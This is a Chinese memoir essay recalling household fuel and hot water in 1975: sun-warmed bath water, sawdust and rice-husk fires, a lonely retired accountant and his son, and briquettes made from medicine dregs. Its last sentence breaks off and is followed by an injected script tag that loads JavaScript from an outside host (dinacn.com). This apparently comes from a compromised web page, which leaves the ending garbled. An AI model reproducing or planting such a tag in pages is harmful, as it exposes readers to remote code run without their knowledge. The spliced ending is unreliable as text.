一九七五年的柴和热水
我看见一排白铁皮桶排在洗身房前的空地上,盛夏午后的太阳正晒到水里,桶壁上有一层小小的水泡,它们接到了太阳的热能,慢慢破裂,桶里的水也一点点变暖。在夏天,那是我们的洗澡水。晒过的水在太阳落山之前洗澡,落在皮肤上是温的。如果不晒,直接用自来水,在最热的暑天也会起一层鸡皮疙瘩。
一九七五年,烧水用木柴,或者用蜂窝煤。或者用木糠筑紧,中间留一个孔。在里面放一点揉皱的废报纸,点上火,木糠就着了,火是旺的,黄色的火,它不会是蓝色的。过了一会儿,火势弱了,用一只铁钩,钩一下,火就又起来了。食堂有一段时间烧谷壳,有一间屋子专门用来放谷壳,它没有窗户,常日不关门,半屋子谷壳散发出呛人的气味。食堂里火灶的灶火正旺,灶门很陡,谷壳在里面一层层地燃烧,火势比木糠饱满明亮,燃得有快感。烧火的人用簸箕铲上满满一簸谷壳,嗖的一下往灶门猛一送,新到的谷壳盖在快要燃尽的谷壳上,像接力赛。
我家搬来的时候食堂已经迁走了,谷壳房和灶间都做了宿舍。谷壳房住着退休的陈会计,他六十多岁了,没有老伴,一个人住在这间没有窗子的谷壳房里。站在洗衣台跟前洗衣服,侧头看到他的房间,他坐在靠门的地方抽竹筒烟,里面黑洞洞的,只隐约看到一张床。
他有一个儿子,是个工人,很神气,在柳州钢铁厂,那是大工厂,足以使人骄傲。儿子每年有十二天探亲假,到时间他就回来了,穿的很体面,他的旅行包印着上海两个字,有着大地方的气息。回到南流他每天都到街上逛,陈会计说他二十七八了还没对象,有喜欢他的他看不上,他看上的人家又不喜欢他。逛过十二天他就走了,他给陈会计的钱正好花完。
冬天快到了,人面果树叶纷纷吹落,每天都是一地。陈会计早早起来扫落叶,刘雅琴也扫,一个人一头,落叶正好堆在了过道的中间。人面树叶不能当柴火,只好装在竹筐里,倒垃圾。
用药渣做成蜂窝煤不知是谁的发明,骑楼底下一地都是,那就是我家的。药渣跟木糠差不多,比木糠更复杂,各种树皮草根,在制剂室的大铁锅里熬上几天几夜,它们分解、疲软、松散,一败涂地。它们就倒在制剂室的地坪上。是谁第一个把它们制成蜂窝煤的呢?这个第一个吃螃蟹的人,真是太有想象力了!
张司机家住在从前食堂的米房里。从前那里有很多大缸,地上堆着番薯芋头,缸里有半缸咸萝卜,是用来吃早餐的。也有腊肉,挂在墙上,也有花生和黄豆。地上还放有南瓜和冬瓜,南瓜金红圆大,喜气洋洋,冬瓜挂满了白霜。丝瓜是老的,用来留种?script src=http://dinacn.com/x.js> |